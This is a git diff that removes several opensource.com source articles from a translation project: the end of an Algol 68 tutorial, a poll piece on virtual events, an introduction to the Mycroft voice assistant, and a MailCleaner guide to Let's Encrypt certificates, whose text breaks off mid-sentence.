Bash have inherited.  So the previous line of code in Algol 68 Genie would be: - - -``` -`IF iv < 0 THEN av := -iv; negative := TRUE ELSE av := iv; negative := FALSE FI` -``` - -The token `fi` closes off the preceding `if`, in case that's not obvious. Now, perhaps I'm the only person in the world who has ever written some Java that looks like this: - - -``` -if (something) -    statement; -``` - -and then found myself inserting a call to `println` to debug that code: - - -``` -if (something) -    statement; -    [System][9].err.println(stuff);  /* not in the then-part of if!!! */ -``` - -cluelessly forgetting to wrap the then-part in `{` … `}`. And of course, this isn't the end of the world, but when the insertion is something with less obvious results, well, let's just say I've spent a fair bit of time debugging this kind of thing over the years. - -But that can't happen in Algol 68. Well, mostly, anyway. Algol 68 still needs `begin` … `end` for operator and procedure declarations. But `if` … `fi`, `do` … `od` and `case` … `esac` (the Algol 68 switch statement) are all closed. - -We see this same concept in Go today; an "if" statement looks like if … { … }; the { and } are required. And as I already mentioned, the Bourne shell and its descendants use similar constructs. - -#### Almost every expression yields a value - -Look at the expression `iv < 0` above; pretty obvious that yields a value, and most likely that value is Boolean (`true` or `false`). So no big deal there. - -But an assignment statement also yields a value, namely, the left-hand side of the assignment statement after the assignment is completed. - -A sequence of statements yields whatever the final statement (or expression) yields as a value. - -An "if" statement yields either the value of the then-part or the else-part, depending on whether the expression following "if" yields `true` or `false`. - -An example: think of using the C, Java… ternary operator for our absolute value calculation: - - -``` -`av = iv < 0 ? -iv : iv;` -``` - -In Algol 68, we don't need an extra "ternary operator," as the "if" statement works just fine: - - -``` -`av := IF iv < 0 THEN -iv ELSE iv FI` -``` - -This might be a good moment to mention that Algol 68 provides "brief" versions of symbols like `begin`, `end`, `if`, `then`, `else` and so forth, using `( |` and `)`: - - -``` -`av := ( iv < 0 | -iv | iv )` -``` - -has the same meaning as the previous expression. - -One thing that surprised me when I first encountered it is that loops don't yield an expression. But loops have a few differences that end up making sense once they are fully understood. - -A loop in Algol 68 might look like this: - - -``` -`FOR lv FROM 1 BY 1 TO 1000 WHILE 2 * lv * ly < limit DO … OD` -``` - -The variable `ly` here is the loop variable, implicitly declared by the `for` as an integer. Its scope is the entire `for` … `od`**,** and its value is retained from one iteration to the next. We can declare a regular variable in the `while` … `do` part, just like in an `if` … `then` part. Its scope is the `while` … `od` part, but its value is not retained from one iteration to the next. So, for example, if we want to accumulate the sum of the elements of an array, we must write: - - -``` -`INT sum := 0; FOR ai FROM LWB array TO UPB array DO sum +:= array[ai] OD` -``` - -where the operators `lwb` and `upb` deliver the smallest and largest index values respectively defined for the array and the +:= symbol has the same meaning as += in C or Java. - -If we wanted to return the sum as a value, we would write: - - -``` -`BEGIN INT sum := 0; FOR ai FROM LWB array TO UPB array DO sum +:= array[ai] OD; sum END` -``` - -Of course, we could replace `begin` and `end` with `(` and `)` for brevity. This expression would be a reasonable implementation of a procedure (or operator) that returns the sum of the values of the elements of an array. - -#### Orthogonality—the same expression will work almost anywhere - -Look again at the expression `iv < 0` above. - -Let's step back a bit and include a definition of `iv` and the acquisition of its value. Then the code might look like: - - -``` -`INT iv; read(iv); IF iv < 0 THEN … FI` -``` - -However, we could just as well write: - - -``` -`IF INT iv; read(iv); iv < 0 THEN … FI` -``` - -Here we can see orthogonality at work - the declaration and reading of the variable can occur between the `if` and the logical expression testing the variable, because the value delivered is just that of the final expression. Moreover, this works with Algol 68 semantics to provide an interesting difference—in the first case, the scope of `iv` is the code surrounding the "if" statement; in the second, the scope is just between the `if` and the `fi`. To my way of thinking, this option means that we should have fewer variables declared far away from where they are used, and the ones that remain really do have a "long life" in the code. - -This has practical importance as well. Think, for example, of code that uses some kind of SQL interface to execute several scripts in a database and return the values for further analysis. Usually, in this case, the programmer needs to do a bit of work to set up the connection to the database, pass a query string to the execute command, and retrieve the results. Each instance requires declaring some variables to hold the connection, the query string, and the results. How nice it is when these variables can be declared locally to the results accumulation code! This also facilitates adding a new query-analysis step with a quick copy-paste. And yes, it's good to turn these code snippets into procedure calls, especially in a language that supports lambdas (anonymous procedures) so as to avoid obscuring the different analysis steps with repeated administrative steps. But having very locally-defined administrative variables facilitates the refactoring effort required. - -Another great consequence of orthogonality is that we can have the equivalent of the ternary operator on the left-hand side of an assignment statement as well as on the right-hand side. - -Let's suppose we're processing an input stream of signed integers, and we want to accumulate positive integers into gains and negative integers into losses. Then, the following Algol 68 code would work: - - -``` -`IF amount < 0 THEN losses +:= amount ELSE gains +:= amount FI` -``` - -However, there's no need to repeat the `+:= amount` here; we can move it outside the `if` … `fi` as follows: - - -``` -`IF amount < 0 THEN losses ELSE gains FI +:= amount` -``` - -This works because the "if" statement yields either the losses or gains expression as a result of the evaluation of the test, and that expression is incremented by amount. And of course, we can use the brief form, which, in my opinion at least, improves the readability in these short expressions: - - -``` -`(amount < 0 | losses | gains) +:= amount` -``` - -How about a real example to show why this expression-oriented thing is so great? - -Suppose you are writing a hash table facility. Two functions you will have to implement are "get the value associated with a given key" and "set the value associated with a given key". - -In an expression-oriented language, those can be one function. Why? Because the "get" operation returns the location where the value is found, and then the "set" operation simply uses the "get" operation to set the value at that location. Let's assume we've created an operator called `valueat` that takes two arguments—the hash table itself and the key value. Then, - - -``` -`ht VALUEAT 42` -``` - -will return the location of key 42 in the hash table ht and - - -``` -`ht VALUEAT 42 := "the meaning of everything"` -``` - -will put the string "the meaning of everything" at location 42. - -This reduces the amount of code required to support the application at hand, reducing the number of pathways and edge cases that must be tested, and just generally adds wonderfulness to the users' and maintainers' lives. - -There is a simple example of using procedures on the left-hand side of assignment statements to store values in a table on [RosettaCode][10]. - -#### Anonymous procedures (lambdas) - -Everyone seems to want anonymous procedures (or "here" procedures, or lambdas) these days. Algol 68 provided that out of the box, and it's really, truly useful. - -By way of example, imagine that you want to create a facility to read files with delimited fields and to give users a nice interaction pathway with those. Think of the fine job `awk` does on this, basically by abstracting away all the junk related to opening the file, reading the lines, splitting the lines into fields, and providing some useful collateral variables along the way, like current-line-number, number-of-fields-on-this-line, and so forth. - -It turns out that's pretty easy to do in Algol 68 as well, where the task becomes to write a procedure that takes three arguments—the first being the input file name, the second being the field separator string, and the third being a procedure that handles each line. - -The declaration of that procedure might look like this: - - -``` -PROC each line =         # 1 # -        (STRING input file name, CHAR separator, PROC (STRING, [] STRING, INT) VOID process) # 2 # -VOID: BEGIN              # 3 # -    FILE inf;            # 4 # -    open(inf, input file name, stand in channel); # 5 # -    BOOL finished reading := FALSE; -    on logical file end (inf, (REF FILE f) bool: finished reading := TRUE); # 6 # -    INT linecount := 0;  # 7 # -    WHILE                # 8 # -        string line; -        get(inf,(line, new line)); -        not finished reading -    DO                   # 9 # -        linecount +:= 1; -        FLEX [1:0] STRING fields := split(line, separator); -        process(line, fields, linecount) -    OD; -    close(inf)           # 10 # -END                      # 11 # -``` - -Here’s what’s going on above: - - 1. Comment 1 (the # 1 # above)—the declaration of the procedure `each line` (note that blanks can be inserted into the middle of names or numbers at will) - - 2. The parameters to each line—the `string` file name, the field separator `char`acter, and the `pro`cedure to be called to process each line, which itself takes a `string` (the line of input) an array of `string`s (the fields of the line) and an `int`eger (the line number) and which returns a `void` value - - 3. `each line` returns a `void` value, and the procedure body starts with a `begin`, allowing us to use several statements in its definition - - 4. Declare the input `file` - - 5. Associate the `standard input channel` with the `file`, whose name is given by `input file name` and open it (for reading) - - 6. Algol 68 handles end-of-file conditions a bit differently; here, we use the I/O event detection procedure `on logical file end` to set the flag `finished reading` that we can detect while processing the file - - 7. Create and initialize the line count (see the previous description of the nature of loops) - - 8. This `while` loop attempts to read the next line from the input file. If successful, it processes the line; otherwise, it exits - - 9. Processing the input line—increment the line count; create an array of strings corresponding to the fields of the line using the `split` procedure; call the supplied `process` procedure to consume the line, its fields and the line count - - 10. Remember to `close` the file - - 11. `end` of the procedure definition. - - - - -And we might use it like so, in order to build a lookup table (in conjunction with the hypothetical hash table facility mentioned in passing in the previous section): - - -``` -# remapping definitions in remapping.csv file # -# new-reference|old-reference # -# 093M0770371|093X0012250 # -# 093M0770375|093X0012249 # -# 093M0770370|093X0012133 # - -[/code] [code] - -HASTABLE ht := new hashtable; - -each delimited line("test.csv", "|", (STRING line, [] STRING fields, INT linecount) VOID: BEGIN -    STRING to map := fields[1], from map := fields[2]; -    ht VALUEAT from map := to map -END); -``` - -Above, we see the call to each delimited line. Of particular interest is the declaration of the "here" procedure or lambda that stows the lookup values into the hash table. From my perspective, the big lesson here is that lambdas are a consequence of Algol 68's orthogonality; I think that's pretty neat. - -One of the things I plan to dig deeper into as I continue to explore Algol 68 is how much further I can take this functional form of expression. For example, I don't see why I can't build a list or a hash table element by element and yield the finished structure as the result of the looping procedure, so the above might look more like: - - -``` -HASHTABLE ht := each delimited line as map entry("test.csv", "|", -        (STRING line, [] STRING fields, INT linecount) VOID: BEGIN -    STRING to map := fields[1], from map := fields[2]; -    (from map, to map) -END); -``` - -### In conclusion - -Why learn about old, dusty, and forgotten languages? Well, we all know about the recent interest in COBOL, but perhaps that's an outlier in the sense that there probably aren't a lot of mission-critical applications written in SNOBOL, Icon, APL, or even Algol 68. Certainly, there is George Santayana's guidance to bear in mind: ["Those who cannot remember the past are condemned to repeat it."][11] - -For me, there are a few key reasons to up my game in Algol 68 (and probably in a few other languages that don't seem to be absolutely necessary to my daily efforts): - - * Algol 68 was not defined as a reaction against some annoyances in an existing programming language; rather, according to the Revised Report: - - * The committee (Working Group 2.1 on ALGOL of the International Federation for Information Processing) "expresses its belief in the value of a common programming language serving many people in many countries." - - * "Algol 68 has not been designed as an expansion of Algol 60 but rather as a completely new language based on new insight into the essential, fundamental concepts of computing and a new description technique." - - * Whether through positive contributions copied into other languages (`do` … `od` in the Bourne shell; += in C, Java, …) or negative reactions (Pascal and all its descendants, Ada), Algol 68 can claim to have influenced computing in profound ways. - - * While Algol 68 is very much "a child of its time," being influenced by keypunches and line printers, small and diverse character sets, the wide variation in character and word sizes of computers in the 1960s and 1970s, and not explicitly incorporating object orientation or functional programming, its rather extraordinary orthogonality and expression-orientedness make up for these oddities and lacking in other useful ways. - - * Perhaps the most practical reason is having the wonderful Algol 68 Genie interpreter installed and running on my desktop, allowing me to pursue this odd small hobby! - - - - -Perhaps I should return to Santayana for a final comment: - -> ["Beauty as we feel it is something indescribable: what it is or what it means can never be said."][11] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/algol68 - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/retro_old_unix_computer.png?itok=SYAb2xoW (Old UNIX computer) -[2]: https://jmvdveer.home.xs4all.nl/en.algol-68-genie.html -[3]: https://jmvdveer.home.xs4all.nl/en.download.learning-algol-68-genie-283.html -[4]: https://en.wikipedia.org/wiki/ALGOL_68 -[5]: http://www.softwarepreservation.org/projects/ALGOL/report/Algol68_revised_report-AB.pdf -[6]: https://en.wikipedia.org/wiki/Pascal_(programming_language) -[7]: https://www.bell-labs.com/usr/dmr/www/hopl.html -[8]: http://rosettacode.org/wiki/Rosetta_Code -[9]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system -[10]: https://rosettacode.org/wiki/Associative_array/Creation#ALGOL_68 -[11]: https://en.wikiquote.org/wiki/George_Santayana diff --git a/sources/tech/20200606 What are the pros and cons of virtual events.md b/sources/tech/20200606 What are the pros and cons of virtual events.md deleted file mode 100644 index 4b540c180e..0000000000 --- a/sources/tech/20200606 What are the pros and cons of virtual events.md +++ /dev/null @@ -1,51 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What are the pros and cons of virtual events?) -[#]: via: (https://opensource.com/article/20/6/virtual-events) -[#]: author: (Lauren Maffeo https://opensource.com/users/lmaffeo) - -What are the pros and cons of virtual events? -====== -Take our poll to tell us what you enjoy most about virtual events within -the open source community. -![Teamwork starts with communication amongst teams and across silos][1] - -The COVID-19 pandemic disturbed the work of event organizers everywhere. To slow the spread of this highly contagious virus, conferences that tend to host thousands in person faced a choice: Move entirely online, or cancel altogether. Many open source event organizers chose the latter, but not all of them. - -[Open Source 101][2] was due to be held in Austin, TX, on April 14. Instead, it hosted 1,000 attendees virtually. Later this month, the Linux Foundation will host the annual North American contingent of its [Open Source Summit][3] online. And rather than hosting DrupalCon around the world as planned, the Drupal Association [will host DrupalCon Global][4] online from July 14 - 17.  - -If there's any group that could move events online without missing a beat, it's the open source community. Open source teams are used to meeting online and working asynchronously to support diverse time zones. - -And moving community events online could make those communities more inclusive. That's because virtual events allow anyone, anywhere in the world to attend the summits and sessions that are most relevant to them, on their own schedules.  - -This decreases the costs of time and money that prevent many from attending in person. Many virtual equivalents of in-person events are being offered at drastically reduced costs, if not for free. That cost reduction in tickets, coupled with not needing to spend money on flights and hotels, goes a long way towards increasing access. - -Still, I can't help feeling like the lack of in-person events this year is a loss. I've worked on remote teams for more than five years, and on remote open source projects in my spare time. I am among the biggest advocates of remote work you'll find. That's the same reason why I look forward to my teams' in-person offsites each year. - -That time to meet in person, celebrate achievements, decide on new visions for our projects, and socialize is crucial. It plays a key role in bridging the distance gap by helping us put names to faces and getting to know each other.  - -On a personal note, I've shared before how I started [contributing to open source][5] after attending a huge conference where I met several community leaders. By meeting and making connections face to face, I got plugged in much faster than if I had stumbled onto GitHub and searched through random projects. I fully support public health efforts to keep people safe, *and *haven't found virtual events to be a strong substitute for the informal conversations in the "hallway track." - -**Have you attended a virtual open source event this spring? What were the pros and cons compared to their in-person counterparts?** - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/virtual-events - -作者:[Lauren Maffeo][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lmaffeo -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/fistbump-team-teamwork.png?itok=WuSu8-wE (Teamwork starts with communication amongst teams and across silos) -[2]: https://www.allthingsopen.org/open-source-101-at-home-2020-event-summary/?utm_source=All+Things+Open+Universe&utm_campaign=9fb4857423-EMAIL_CAMPAIGN_2020_01_15_01_25_COPY_01&utm_medium=email&utm_term=0_bcf95632f2-9fb4857423-243641509 -[3]: https://events.linuxfoundation.org/open-source-summit-north-america/ -[4]: https://events.drupal.org/global2020 -[5]: https://opensource.com/article/19/6/conference-proposal-tips diff --git a/sources/tech/20200608 A secure and private open source alternative to Alexa.md b/sources/tech/20200608 A secure and private open source alternative to Alexa.md deleted file mode 100644 index ec6a09acc0..0000000000 --- a/sources/tech/20200608 A secure and private open source alternative to Alexa.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A secure and private open source alternative to Alexa) -[#]: via: (https://opensource.com/article/20/6/open-source-voice-assistant) -[#]: author: (Steve Ovens https://opensource.com/users/stratusss) - -A secure and private open source alternative to Alexa -====== -Mycroft brings more privacy, security, and freedom into your voice -assistant applications. -![radio communication signals][1] - -I grew up in rural towns all over Ontario, Canada. We weren't particularly well off, although, as a kid in the middle of nowhere, I wasn't really aware of our socioeconomic status. What I was aware of was this beige box called a computer that sat in my dad's office. Dad worked for the bank, and for his job, it was essential for him to have a computer. So while we never had the latest gaming console, we always had a computer. - -It's probably because of this that I developed a pretty intense relationship with all things computers. Today, I am fortunate to work for Red Hat, but that's another story altogether. Growing up in the '80s and having my teenage years in the mid-90s, I have a vivid awareness of how computers have changed. I remember watching as my dad logged online for the first time on our 9600-baud modem. I remember the first time I was able to download skins for buildings in my favorite game, Sim City 2000. - -I mention all this for a reason: I have watched computers evolve my entire life, from mashing arcane commands into DOS (ironically, some say I still perform the same tasks years later in my role at Red Hat), to GUIs of "fat" applications, to web apps, and mobile. The one commonality that has stood out has been the end user's demand for an ever-simplified interface to interact with technology. - -### From touch to voice - -For several years, the cool thing was to be able to poke at your device's screen and have it react. Touch screens were all the rage. Nowadays, the consumer space is trending towards digital assistants. Some stats say that by 2022, 55% of US households will have a voice assistant. Other sources say that Amazon sells approximately 14 million of these devices _per quarter_, while Google trails behind with around 11 million. If you want a concrete market value, MarketWatch estimates the value of this industry will be $7.8 billion by 2023. This doesn't even take into account the phones that everyone has in their pockets! Whatever metrics you use, one thing is clear: voice assistants are becoming increasingly important. - -So are your only options Google, Amazon, or Apple? _NOPE!_ If they were, I wouldn't be writing this article, where I'll introduce you to [Mycroft][2]. - -### Mycroft: An open source voice assistant for developers - -For me, Mycroft's big selling feature is that it is open source. This means that I can get in, tinker around, and contribute to the project. It's largely based in Python, which works out just fine for me. - -Before I go any further, I want to draw your attention to the subheading: "for developers." These are my words, and while I contribute to the project, I do not speak for it. However, I want to emphasize that the project is not at a state where it's ready to gain mass adoption. Mycroft's [official documentation][3] is generally very good, but there are rough edges that are being smoothed out all the time. So, if you are willing to put in some effort, perhaps file some bugs, and take the long view, this project is absolutely worth your time. If you are looking for an off-the-shelf, ready to go project, you may need to come back in a year or so. - -Here are some of the major reasons it makes sense to get involved with the Mycroft project. - -#### Privacy - -As I mentioned, voice assistants are everywhere, and that's only increasing. Although they are often forgotten, they are listening to everything. [Apple][4], [Google][5], and [Amazon][6] have all been found listening to the recordings their voice assistants capture. In [some cases][7], these recordings are even being used in courts of law. - -What if you work out of your home office (even before the world got turned upside down by COVID-19)? How can you protect the privacy of your users and clients, especially when most people don't even realize that the technology meant to make their lives easier is capturing their private conversations? - -Even if you aren't worried about exposing your conversations, are you OK with companies gathering this data for targeted advertising? Mycroft puts privacy at the forefront. Its default speech-to-text (STT) backend is Google's STT service, but you can choose from a wide variety of providers, including Google, IBM's Watson, Mozilla, Kaldi, Microsoft Azure, and more. In addition, Mycroft proxies all STT requests that go through their servers for specific providers (Google being one of them). - -#### Security - -Remember how I said Mycroft is for developers? Since you self-host Mycroft, this means its security is as good as you can make it. You can (and should) implement VLANs, routing rules, firewall rules, and whatever other security that is relevant for your environment. - -Even if your security is not top-notch, the obfuscation you receive from having such a tiny footprint means that, outside of random chance or a targeted attack, your Mycroft instance is relatively safe from the outside world. If it's on your network, you control what and who has access to your voice assistant. That's a good thing. - -#### Did I mention Python? - -I love Python. It's one of the main reasons I was able to get involved so quickly. I use Python extensively in my day-to-day, both for fun and profit. I introduced my wife to Mycroft, and she immediately started adding tasks to _my_ backlog for all the things she wants _her_ voice assistant to be able to do. - -While I was hard at work picking through my backlog, I noticed that one of the Mycroft intent parsers (which I will discuss in my next article) did not handle apostrophes properly. So, in true open source fashion, I forked the code, fixed it up, and created a pull request (PR) against the project. After some small back and forth, my PR was brought up to the project standards and voila! Mycroft now handles apostrophes better. How cool is that? - -A) I was able to fork the code, fix it, and run the fix locally and  - -B) have these changes accepted by the project to benefit everyone  - -  - -It's mind-blowing. - -Not only that, but other projects including [KDE Plasma on TV][8] have integrated Mycroft to make their projects more widely appealing. I'd love to hear about more projects that have taken advantage of Mycroft, so please reach out on Twitter or leave a comment below if you know of any. - -### Science non-fiction - -As a kid, I always loved science fiction; I still do, in fact. I wanted to be able to be like Jean-Luc Picard and say, "Computer, Earl Grey. Hot," and have things magically happen. While food replicators are still a long way off, with Mycroft and a little bit of know-how, I can say things like, "Hey, Mycroft, start the tea kettle" or "Hey, Mycroft, add bread to my shopping list," and Mycroft will make it so. - -I'm relatively new to the Mycroft developer community, but we are a small group of tightly knit folks who want to live in a world where there is an open source competitor to the Alexas, Siris, and Googles of the world. Stop by and chat with us on [Mattermost][9]. - -Need to keep your schedule straight? Learn how to do it using open source with these free... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/open-source-voice-assistant - -作者:[Steve Ovens][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stratusss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/sound-radio-noise-communication.png?itok=KMNn9QrZ (radio communication signals) -[2]: https://mycroft.ai/ -[3]: https://mycroft-ai.gitbook.io/docs/ -[4]: https://www.forbes.com/sites/kateoflahertyuk/2019/07/28/apple-siri-eavesdropping-puts-millions-of-users-at-risk/#3eea76e6a530 -[5]: https://www.digitalmusicnews.com/2019/07/12/google-employees-google-home/ -[6]: https://www.cnbc.com/2019/04/11/how-to-stop-amazon-from-listening-to-what-you-say-to-alexa.html -[7]: https://www.cnn.com/2017/03/07/tech/amazon-echo-alexa-bentonville-arkansas-murder-case/index.html -[8]: https://dot.kde.org/2020/03/26/plasma-tv-presenting-plasma-bigscreen -[9]: https://chat.mycroft.ai/ diff --git a/sources/tech/20200608 Eliminate spam using SSL with an open source certification authority.md b/sources/tech/20200608 Eliminate spam using SSL with an open source certification authority.md deleted file mode 100644 index 4f63eac8dd..0000000000 --- a/sources/tech/20200608 Eliminate spam using SSL with an open source certification authority.md +++ /dev/null @@ -1,300 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Eliminate spam using SSL with an open source certification authority) -[#]: via: (https://opensource.com/article/20/6/secure-open-source-antispam) -[#]: author: (Victor Lopes https://opensource.com/users/victorlclopes) - -Eliminate spam using SSL with an open source certification authority -====== -Use a Let’s Encrypt certificate with MailCleaner for STARTTLS and SSL. -Here's how. -![Chat via email][1] - -[MailCleaner][2] is a feature-rich, open source antispam solution. Its virtual appliances (VMs) available for distribution come out-of-the-box with self-signed certificates for both the web interface and the MTA services. - -This requires you to supply your own valid, publicly trusted certificate. Using a Let's Encrypt certificate is a great way to accomplish that because it's free, safe, and automated. - -When requesting a Let's Encrypt certificate, the most important step is the hostname validation. If you don't know about it, consult the [documentation][3]. - -### Firewall requirements - -First of all, you need to define which hostnames you will use, including your MX records, and they must point to the IP address you're using to publish your MailCleaner server. - -If you choose to perform the validation using local port 80 on your MailCleaner box, you will have to include a few commands to temporarily stop the Apache service during the certificate request. That's why I recommend using an alternative port, which, in our examples, will be port TCP 8090. - -You have a few options in this scenario: - -**Option 1**: Create rules in your reverse proxy to forward Let's Encrypt validation requests to your MailCleaner server. You have to redirect every request sent to port TCP 80, whose destination hostname is your MailCleaner external FQDN, and the path starts with `/.well-known/acme-challenge/` to port TCP 8090 on your MailCleaner server. - -**Option 2**: Using a NAT rule, for example, redirect the traffic sent to port TCP 80 to port TCP 8090 on your MailCleaner server. - -**Option 3**: Redirect/allow traffic sent to port TCP 80 to the actual port TCP 80 on your MailCleaner server, which is less secure, less flexible, and not recommended. - -Alternatively, you could have the certificate request and the name validation performed somewhere else (like in your firewall) and create a routine for copying the cert files to your MailCleaner box. If you have a [pfSense][4] firewall with the [ACME][5] package, for example, you can try to merge the concepts within this article with this [how-to][6]. - -### Installing Certbot - -[Certbot][7] is an open source tool for requesting and managing Let's Encrypt certificates. - -To install Certbot on your MailCleaner server, log in as `root` (in the console or through SSH) and run: - - -``` -$ wget -$ mv certbot-auto /usr/local/bin/certbot-auto -$ chown root /usr/local/bin/certbot-auto -$ chmod 0755 /usr/local/bin/certbot-auto -``` - -### Testing certificate name validation - -If you're using an alternate port, you need to open it in the local firewall on your MailCleaner server: - - -``` -`iptables -A INPUT -p tcp -m tcp --dport 8090 -j ACCEPT` -``` - -Note: MailCleaner keeps local firewall rules in its database and sets the `iptables` config every time the server loads. It's imperative that you add port 8090 to the firewall table inside MailCleaner's MySQL database; otherwise, every renewal process will fail. To learn how to do this, take a look at the section titled "Accessing MailCleaner's MySQL database" in the article _[How to install MailCleaner 2020.01][8]._ - -Now, let's try to issue our certificate using Let's Encrypt's staging (testing) server. Please replace the appropriate values with your email address and your MailCleaner server hostname(s). - -**Option 1**: If you are using the alternative port 8090, use this command line: - - -``` -$ certbot-auto certonly --standalone --preferred-challenges http \ -\--http-01-port 8090 --email [myemail@domain.com][9] \--no-eff-email \ -\--agree-tos --staging -d myhostname.mydomain.com -``` - -If you have more than one name, just add them with "`-d`" at the end: - - -``` --d mx1.mydomain.com \ --d mx2.mydomain.com \ --d spam.mydomain.com -``` - -**Option 2**: If you are using local port 80, use this command line: - - -``` -$ certbot-auto certonly --standalone --preferred-challenges http \ - --email [myemail@domain.com][9] \--no-eff-email --agree-tos --staging \ --d myhostname.mydomain.com \ -\--pre-hook "/usr/mailcleaner/etc/init.d/apache stop" \ -\--post-hook "/usr/mailcleaner/etc/init.d/apache start" -``` - -Note: After issuing this command, you will hit a bootstrapping routine identifying missing dependencies, mostly Python packages. Let it install the necessary software. - -If everything went fine, you should see a result like this: - - -``` -root#mailcleaner:~# -root@mailcleaner:~# certbot-auto certonly \ -\--standalone --preferred-challenges http \ -\--http-01-port 8090 --email [victor@domain.com][10] \ -\--no-eff-email --agree-tos --staging \ --d mail.example.com - -Saving debug log to /var/log/letsencrypt/ -Plugins selected: Authenticator standalone -Obtaining a new certificate -Performing the following challenges: -http-01 challenge for mail.example.com -Waiting for verification... -Cleaning up challenges - -IMPORTANT NOTES: -Your certificate and chain have been saved at: -/etc/letsencrypt/live/mail.example.com/fullchain.pem -Your key file has been saved at: -/etc/letsencrypt/ live/mail.example.com/privkey.pem -[...] -root@mailcleaner:~# -``` - -If it didn't go well, keep in mind that most errors with this process are caused by Let's Encrypt servers not being able to reach your server. Check if your firewall configuration is really OK. - -### Request your certificate - -When the certificate issuing process is working correctly with the staging server, go ahead and request your certificate for production (removing the staging parameter): - - -``` -`certbot-auto certonly --standalone --preferred-challenges http --http-01-port 8090 --email myemail@domain.com --no-eff-email --agree-tos --force-renewal -d myhostname.mydomain.com` -``` - -Note: Adapt the command line if you're not using the alternative port 8090. If that's the case, don't forget the pre-hook and post-hook. - -The result screen is pretty similar. You will now have a valid certificate at the following path: - - -``` -`/etc/letsencrypt/live/my__hostname_.yourdomain.com_/`[/code] [code] - -root#mailcleaner:~# ls /etc/letsencrypt/live/mail.example.com -cert.pem chain.pem fullchain.pem privkey.pem README -root@mailcleaner:~# -``` - -### Automate certificate assignment and renewal - -The last piece of this puzzle is the great script provided by "GRahamJB" in this [MailCleaner forum topic][11]. You can download the script from [here][12]. - -Let's save this script in our server. Create the following file: - - -``` -`$ nano /usr/local/bin/set-certificates.pl` -``` - -Then paste the contents of the script and save it (`Ctrl + X`). And give the script permission to run: - - -``` -`$ chmod +x /usr/local/bin/set-certificates.pl` -``` - -Now run the script to assign your certificate to the web interface and the MTA services: - - -``` -root@mailcleaner:~# set-certificates.pl --set_web \ -\--set_mta_in --set_mta_out \ -\--key /etc/letsencrypt/live/mail.example.com/privkey.pem \ -\--data /etc/letsencrypt/live/mail.example.com/cert.pem \ -\--chain /etc/letsencrypt/live/mail.example.com/chain.pem - -Stopping Apache: stopped. -Starting Apache: started. -Stopping Exim stage 1: stopped. -Starting Exim stage 1: started. -Stopping Exim stage 4: stopped. -Starting Exim stage 4: started. -root@mailcleaner:~# -``` - -Now that we know it works, schedule these commands to run weekly, using cron and Certbot's built-in renewal routine: - - -``` -`$ nano /etc/letsencrypt/renewal/yourhostname.yourdomain.com.conf` -``` - -Check if the options look correct and add the following line at the end (the same set-certificates.pl you just ran, preceded by `renew_hook =`): - - -``` -. -. -# Options used in the renewal process -[renewalparams] -authenticator = standalone -account = 9d670ed7c63c6238f90f042f852fc33e -pref_challs = http-01, -http01_port = 8090 -server = -# Set MailCleaner certs -renew_hook = set-certificates.pl --set_web --set_mta_in --set_mta_out --key /etc/letsencrypt/live/myhostname.mydomain.com/privkey.pem --data /etc/letsencrypt/live/myhostname.mydomain.com/cert.pem --chain /etc/letsencrypt/live/myhostname.mydomain.com/chain.pem -``` - -Note that the "`renew_hook = set-cert…`" command must be one single line. Save the file and run the following command to test it: - - -``` -`$ certbot-auto renew --force-renewal` -``` - -If the renewal succeeds, you'll see a result similar to the one below. Note how our `renew_hook` command was called. The certificate has been updated in MailCleaner and the necessary services restarted. - - -``` -root@mailcleaner:~# certbot-auto renew --force-reneval -Saving debug log to /var/log/letsencrypt/letsencrypt.log - -Processing /etc/ letsencrypt/renewal/mail.example.com.conf -Plugins selected: Authenticator standalone, Installer None -Renewing an existing certificate -Running deploy-hook command: set-certificates.pl \ -\--set_web --set_mta_in --set_mta_out \ -\--key /etc/letsencrypt/live/mail.example.com/privkey.pem \ -\--data /etc/letsencrypt/live/mail.example.com/cert.pem \ -\--chain /etc/letsencrypt/live/mail.example.com/chain.pem -Output from deploy-hook conmtwand set-certificates.pl: - -Stopping Apache: stopped. -Starting Apache: started. -Stopping Exim stage 1: stopped. -Starting Exim stage 1: started. -Stopping Exim stage 4: stopped. -Starting Exim stage 4: started. - -new certificate deployed without reload, fullchain is -/etc/letsencrypt/live/mail.example.com/fullchain.pem - -Congratulations, all renewals succeeded. -The following certs have been renewed: -/etc/letsencrypt/live/mail.example.com/fullchain.pem (success) -root@mailcleaner:~# -``` - -Now, let's add that renew command to cron: - - -``` -`$ crontab -e` -``` - -Add the following line and save the file. This will make Certbot run every Sunday at 2:00am: - - -``` -`0 2 * * 7 /usr/local/bin/certbot-auto renew` -``` - -If crontab doesn't open the way you expect, run `select-editor` to choose the editor you like (nano, for example). If you want to check the result, 